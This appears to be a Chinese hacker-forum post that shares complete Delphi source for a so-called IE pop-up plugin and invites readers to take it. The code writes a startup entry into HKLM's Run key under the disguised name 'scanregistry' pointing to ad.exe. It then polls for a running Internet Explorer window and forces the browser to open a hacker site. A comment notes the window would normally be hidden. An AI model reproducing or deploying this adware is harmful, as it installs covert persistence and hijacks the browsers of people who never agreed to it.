以前我用Delphi写过的一个IE弹出插件，好像很多黑友都比较喜欢，纷纷转载了。代码还是很简洁的，而且我都做了解释，就算Delphi初学者也能看得懂，喜欢的朋友就拿去吧！

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls,registry, ExtCtrls, shellapi;

type
  TForm1 = class(TForm)
    Timer1: TTimer;
    Label1: TLabel;
    Label2: TLabel;
    procedure FormCreate(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  reg:tregistry;
  hwnd:thandle;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin
//application.showmainform=false //隐藏窗体。这里是演示，就不隐藏了。
reg:=Tregistry.create;
reg.rootkey:=HKEY_LOCAL_MACHINE;
reg.openkey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true); //true应该是覆盖。
reg.writestring('scanregistry','ad.exe');     //以上三行就是写入注册表的启动项。
reg.closekey;
reg.free;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
hwnd:=findwindow('IEframe',nil);//调用Findwindow函数来查找浏览器是否运行。
if hwnd<>0 then //如果浏览器正在运行，那么...
shellexecute(0,'open','iexplore.exe','http://www.hack0573.com','',SW_SHOWNORMAL);
//打开www.hack0573.com这个网站，这里shellexecute的用法跟VB的一样。
end;

end.